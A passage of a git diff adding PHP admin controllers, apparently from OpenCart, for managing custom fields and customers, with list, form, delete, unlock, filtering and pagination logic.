+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('customer/custom_field', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('customer/custom_field');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('customer/custom_field');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $custom_field_id) {
+ $this->model_customer_custom_field->deleteCustomField($custom_field_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('customer/custom_field', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'cfd.name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('customer/custom_field', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('customer/custom_field/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('customer/custom_field/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['custom_fields'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $custom_field_total = $this->model_customer_custom_field->getTotalCustomFields();
+
+ $results = $this->model_customer_custom_field->getCustomFields($filter_data);
+
+ foreach ($results as $result) {
+ $type = '';
+
+ switch ($result['type']) {
+ case 'select':
+ $type = $this->language->get('text_select');
+ break;
+ case 'radio':
+ $type = $this->language->get('text_radio');
+ break;
+ case 'checkbox':
+ $type = $this->language->get('text_checkbox');
+ break;
+ case 'input':
+ $type = $this->language->get('text_input');
+ break;
+ case 'text':
+ $type = $this->language->get('text_text');
+ break;
+ case 'textarea':
+ $type = $this->language->get('text_textarea');
+ break;
+ case 'file':
+ $type = $this->language->get('text_file');
+ break;
+ case 'date':
+ $type = $this->language->get('text_date');
+ break;
+ case 'datetime':
+ $type = $this->language->get('text_datetime');
+ break;
+ case 'time':
+ $type = $this->language->get('text_time');
+ break;
+ }
+
+ $data['custom_fields'][] = array(
+ 'custom_field_id' => $result['custom_field_id'],
+ 'name' => $result['name'],
+ 'location' => $this->language->get('text_' . $result['location']),
+ 'type' => $type,
+ 'status' => $result['status'],
+ 'sort_order' => $result['sort_order'],
+ 'edit' => $this->url->link('customer/custom_field/edit', 'user_token=' . $this->session->data['user_token'] . '&custom_field_id=' . $result['custom_field_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('customer/custom_field', 'user_token=' . $this->session->data['user_token'] . '&sort=cfd.name' . $url, true);
+ $data['sort_location'] = $this->url->link('customer/custom_field', 'user_token=' . $this->session->data['user_token'] . '&sort=cf.location' . $url, true);
+ $data['sort_type'] = $this->url->link('customer/custom_field', 'user_token=' . $this->session->data['user_token'] . '&sort=cf.type' . $url, true);
+ $data['sort_status'] = $this->url->link('customer/custom_field', 'user_token=' . $this->session->data['user_token'] . '&sort=cf.status' . $url, true);
+ $data['sort_sort_order'] = $this->url->link('customer/custom_field', 'user_token=' . $this->session->data['user_token'] . '&sort=cf.sort_order' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $custom_field_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('customer/custom_field', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($custom_field_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($custom_field_total - $this->config->get('config_limit_admin'))) ? $custom_field_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $custom_field_total, ceil($custom_field_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('customer/custom_field_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['custom_field_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = array();
+ }
+
+ if (isset($this->error['custom_field_value'])) {
+ $data['error_custom_field_value'] = $this->error['custom_field_value'];
+ } else {
+ $data['error_custom_field_value'] = array();
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('customer/custom_field', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['custom_field_id'])) {
+ $data['action'] = $this->url->link('customer/custom_field/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('customer/custom_field/edit', 'user_token=' . $this->session->data['user_token'] . '&custom_field_id=' . $this->request->get['custom_field_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('customer/custom_field', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['custom_field_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $custom_field_info = $this->model_customer_custom_field->getCustomField($this->request->get['custom_field_id']);
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['custom_field_description'])) {
+ $data['custom_field_description'] = $this->request->post['custom_field_description'];
+ } elseif (isset($this->request->get['custom_field_id'])) {
+ $data['custom_field_description'] = $this->model_customer_custom_field->getCustomFieldDescriptions($this->request->get['custom_field_id']);
+ } else {
+ $data['custom_field_description'] = array();
+ }
+
+ if (isset($this->request->post['location'])) {
+ $data['location'] = $this->request->post['location'];
+ } elseif (!empty($custom_field_info)) {
+ $data['location'] = $custom_field_info['location'];
+ } else {
+ $data['location'] = '';
+ }
+
+ if (isset($this->request->post['type'])) {
+ $data['type'] = $this->request->post['type'];
+ } elseif (!empty($custom_field_info)) {
+ $data['type'] = $custom_field_info['type'];
+ } else {
+ $data['type'] = '';
+ }
+
+ if (isset($this->request->post['value'])) {
+ $data['value'] = $this->request->post['value'];
+ } elseif (!empty($custom_field_info)) {
+ $data['value'] = $custom_field_info['value'];
+ } else {
+ $data['value'] = '';
+ }
+
+ if (isset($this->request->post['validation'])) {
+ $data['validation'] = $this->request->post['validation'];
+ } elseif (!empty($custom_field_info)) {
+ $data['validation'] = $custom_field_info['validation'];
+ } else {
+ $data['validation'] = '';
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($custom_field_info)) {
+ $data['status'] = $custom_field_info['status'];
+ } else {
+ $data['status'] = '';
+ }
+
+ if (isset($this->request->post['sort_order'])) {
+ $data['sort_order'] = $this->request->post['sort_order'];
+ } elseif (!empty($custom_field_info)) {
+ $data['sort_order'] = $custom_field_info['sort_order'];
+ } else {
+ $data['sort_order'] = '';
+ }
+
+ if (isset($this->request->post['custom_field_value'])) {
+ $custom_field_values = $this->request->post['custom_field_value'];
+ } elseif (isset($this->request->get['custom_field_id'])) {
+ $custom_field_values = $this->model_customer_custom_field->getCustomFieldValueDescriptions($this->request->get['custom_field_id']);
+ } else {
+ $custom_field_values = array();
+ }
+
+ $data['custom_field_values'] = array();
+
+ foreach ($custom_field_values as $custom_field_value) {
+ $data['custom_field_values'][] = array(
+ 'custom_field_value_id' => $custom_field_value['custom_field_value_id'],
+ 'custom_field_value_description' => $custom_field_value['custom_field_value_description'],
+ 'sort_order' => $custom_field_value['sort_order']
+ );
+ }
+
+ if (isset($this->request->post['custom_field_customer_group'])) {
+ $custom_field_customer_groups = $this->request->post['custom_field_customer_group'];
+ } elseif (isset($this->request->get['custom_field_id'])) {
+ $custom_field_customer_groups = $this->model_customer_custom_field->getCustomFieldCustomerGroups($this->request->get['custom_field_id']);
+ } else {
+ $custom_field_customer_groups = array();
+ }
+
+ $data['custom_field_customer_group'] = array();
+
+ foreach ($custom_field_customer_groups as $custom_field_customer_group) {
+ $data['custom_field_customer_group'][] = $custom_field_customer_group['customer_group_id'];
+ }
+
+ $data['custom_field_required'] = array();
+
+ foreach ($custom_field_customer_groups as $custom_field_customer_group) {
+ if ($custom_field_customer_group['required']) {
+ $data['custom_field_required'][] = $custom_field_customer_group['customer_group_id'];
+ }
+ }
+
+ $this->load->model('customer/customer_group');
+
+ $data['customer_groups'] = $this->model_customer_customer_group->getCustomerGroups();
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('customer/custom_field_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'customer/custom_field')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ foreach ($this->request->post['custom_field_description'] as $language_id => $value) {
+ if ((utf8_strlen($value['name']) < 1) || (utf8_strlen($value['name']) > 128)) {
+ $this->error['name'][$language_id] = $this->language->get('error_name');
+ }
+ }
+
+ if (($this->request->post['type'] == 'select' || $this->request->post['type'] == 'radio' || $this->request->post['type'] == 'checkbox')) {
+ if (!isset($this->request->post['custom_field_value'])) {
+ $this->error['warning'] = $this->language->get('error_type');
+ }
+
+ if (isset($this->request->post['custom_field_value'])) {
+ foreach ($this->request->post['custom_field_value'] as $custom_field_value_id => $custom_field_value) {
+ foreach ($custom_field_value['custom_field_value_description'] as $language_id => $custom_field_value_description) {
+ if ((utf8_strlen($custom_field_value_description['name']) < 1) || (utf8_strlen($custom_field_value_description['name']) > 128)) {
+ $this->error['custom_field_value'][$custom_field_value_id][$language_id] = $this->language->get('error_custom_value');
+ }
+ }
+ }
+ }
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'customer/custom_field')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/customer/customer.php b/public/admin/controller/customer/customer.php
new file mode 100644
index 0000000..44048d0
--- /dev/null
+++ b/public/admin/controller/customer/customer.php
@@ -0,0 +1,1504 @@
+load->language('customer/customer');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('customer/customer');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('customer/customer');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('customer/customer');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_customer_customer->addCustomer($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_email'])) {
+ $url .= '&filter_email=' . urlencode(html_entity_decode($this->request->get['filter_email'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_customer_group_id'])) {
+ $url .= '&filter_customer_group_id=' . $this->request->get['filter_customer_group_id'];
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_ip'])) {
+ $url .= '&filter_ip=' . $this->request->get['filter_ip'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('customer/customer', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('customer/customer');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('customer/customer');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_customer_customer->editCustomer($this->request->get['customer_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_email'])) {
+ $url .= '&filter_email=' . urlencode(html_entity_decode($this->request->get['filter_email'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_customer_group_id'])) {
+ $url .= '&filter_customer_group_id=' . $this->request->get['filter_customer_group_id'];
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_ip'])) {
+ $url .= '&filter_ip=' . $this->request->get['filter_ip'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('customer/customer', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('customer/customer');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('customer/customer');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $customer_id) {
+ $this->model_customer_customer->deleteCustomer($customer_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_email'])) {
+ $url .= '&filter_email=' . urlencode(html_entity_decode($this->request->get['filter_email'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_customer_group_id'])) {
+ $url .= '&filter_customer_group_id=' . $this->request->get['filter_customer_group_id'];
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_ip'])) {
+ $url .= '&filter_ip=' . $this->request->get['filter_ip'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('customer/customer', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ public function unlock() {
+ $this->load->language('customer/customer');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('customer/customer');
+
+ if (isset($this->request->get['email']) && $this->validateUnlock()) {
+ $this->model_customer_customer->deleteLoginAttempts($this->request->get['email']);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_email'])) {
+ $url .= '&filter_email=' . urlencode(html_entity_decode($this->request->get['filter_email'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_customer_group_id'])) {
+ $url .= '&filter_customer_group_id=' . $this->request->get['filter_customer_group_id'];
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_ip'])) {
+ $url .= '&filter_ip=' . $this->request->get['filter_ip'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('customer/customer', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['filter_name'])) {
+ $filter_name = $this->request->get['filter_name'];
+ } else {
+ $filter_name = '';
+ }
+
+ if (isset($this->request->get['filter_email'])) {
+ $filter_email = $this->request->get['filter_email'];
+ } else {
+ $filter_email = '';
+ }
+
+ if (isset($this->request->get['filter_customer_group_id'])) {
+ $filter_customer_group_id = $this->request->get['filter_customer_group_id'];
+ } else {
+ $filter_customer_group_id = '';
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $filter_status = $this->request->get['filter_status'];
+ } else {
+ $filter_status = '';
+ }
+
+ if (isset($this->request->get['filter_ip'])) {
+ $filter_ip = $this->request->get['filter_ip'];
+ } else {
+ $filter_ip = '';
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $filter_date_added = $this->request->get['filter_date_added'];
+ } else {
+ $filter_date_added = '';
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_email'])) {
+ $url .= '&filter_email=' . urlencode(html_entity_decode($this->request->get['filter_email'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_customer_group_id'])) {
+ $url .= '&filter_customer_group_id=' . $this->request->get['filter_customer_group_id'];
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_ip'])) {
+ $url .= '&filter_ip=' . $this->request->get['filter_ip'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('customer/customer', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('customer/customer/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('customer/customer/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $this->load->model('setting/store');
+
+ $stores = $this->model_setting_store->getStores();
+
+ $data['customers'] = array();
+
+ $filter_data = array(
+ 'filter_name' => $filter_name,
+ 'filter_email' => $filter_email,
+ 'filter_customer_group_id' => $filter_customer_group_id,
+ 'filter_status' => $filter_status,
+ 'filter_date_added' => $filter_date_added,
+ 'filter_ip' => $filter_ip,
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $customer_total = $this->model_customer_customer->getTotalCustomers($filter_data);
+
+ $results = $this->model_customer_customer->getCustomers($filter_data);
+
+ foreach ($results as $result) {
+ $login_info = $this->model_customer_customer->getTotalLoginAttempts($result['email']);
+
+ if ($login_info && $login_info['total'] >= $this->config->get('config_login_attempts')) {
+ $unlock = $this->url->link('customer/customer/unlock', 'user_token=' . $this->session->data['user_token'] . '&email=' . $result['email'] . $url, true);
+ } else {
+ $unlock = '';
+ }
+
+ $store_data = array();
+
+ $store_data[] = array(
+ 'name' => $this->config->get('config_name'),
+ 'href' => $this->url->link('customer/customer/login', 'user_token=' . $this->session->data['user_token'] . '&customer_id=' . $result['customer_id'] . '&store_id=0', true)
+ );
+
+ foreach ($stores as $store) {
+ $store_data[] = array(
+ 'name' => $store['name'],
+ 'href' => $this->url->link('customer/customer/login', 'user_token=' . $this->session->data['user_token'] . '&customer_id=' . $result['customer_id'] . '&store_id=' . $store['store_id'], true)
+ );
+ }
+
+ $data['customers'][] = array(
+ 'customer_id' => $result['customer_id'],
+ 'name' => $result['name'],
+ 'email' => $result['email'],
+ 'customer_group' => $result['customer_group'],
+ 'status' => ($result['status'] ? $this->language->get('text_enabled') : $this->language->get('text_disabled')),
+ 'ip' => $result['ip'],
+ 'date_added' => date($this->language->get('date_format_short'), strtotime($result['date_added'])),
+ 'unlock' => $unlock,
+ 'store' => $store_data,
+ 'edit' => $this->url->link('customer/customer/edit', 'user_token=' . $this->session->data['user_token'] . '&customer_id=' . $result['customer_id'] . $url, true)
+ );
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_email'])) {
+ $url .= '&filter_email=' . urlencode(html_entity_decode($this->request->get['filter_email'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_customer_group_id'])) {
+ $url .= '&filter_customer_group_id=' . $this->request->get['filter_customer_group_id'];
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_ip'])) {
+ $url .= '&filter_ip=' . $this->request->get['filter_ip'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('customer/customer', 'user_token=' . $this->session->data['user_token'] . '&sort=name' . $url, true);
+ $data['sort_email'] = $this->url->link('customer/customer', 'user_token=' . $this->session->data['user_token'] . '&sort=c.email' . $url, true);
+ $data['sort_customer_group'] = $this->url->link('customer/customer', 'user_token=' . $this->session->data['user_token'] . '&sort=customer_group' . $url, true);
+ $data['sort_status'] = $this->url->link('customer/customer', 'user_token=' . $this->session->data['user_token'] . '&sort=c.status' . $url, true);
+ $data['sort_ip'] = $this->url->link('customer/customer', 'user_token=' . $this->session->data['user_token'] . '&sort=c.ip' . $url, true);
+ $data['sort_date_added'] = $this->url->link('customer/customer', 'user_token=' . $this->session->data['user_token'] . '&sort=c.date_added' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['filter_name'])) {
+ $url .= '&filter_name=' . urlencode(html_entity_decode($this->request->get['filter_name'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_email'])) {
+ $url .= '&filter_email=' . urlencode(html_entity_decode($this->request->get['filter_email'], ENT_QUOTES, 'UTF-8'));
+ }
+
+ if (isset($this->request->get['filter_customer_group_id'])) {
+ $url .= '&filter_customer_group_id=' . $this->request->get['filter_customer_group_id'];
+ }
+
+ if (isset($this->request->get['filter_status'])) {
+ $url .= '&filter_status=' . $this->request->get['filter_status'];
+ }
+
+ if (isset($this->request->get['filter_ip'])) {
+ $url .= '&filter_ip=' . $this->request->get['filter_ip'];
+ }
+
+ if (isset($this->request->get['filter_date_added'])) {
+ $url .= '&filter_date_added=' . $this->request->get['filter_date_added'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $customer_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('customer/customer', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($customer_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($customer_total - $this->config->get('config_limit_admin'))) ? $customer_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $customer_total, ceil($customer_total / $this->config->get('config_limit_admin')));
+
+ $data['filter_name'] = $filter_name;
+ $data['filter_email'] = $filter_email;
+ $data['filter_customer_group_id'] = $filter_customer_group_id;
+ $data['filter_status'] = $filter_status;
+ $data['filter_ip'] = $filter_ip;
+ $data['filter_date_added'] = $filter_date_added;
+
+ $this->load->model('customer/customer_group');
+
+ $data['customer_groups'] = $this->model_customer_customer_group->getCustomerGroups();
+
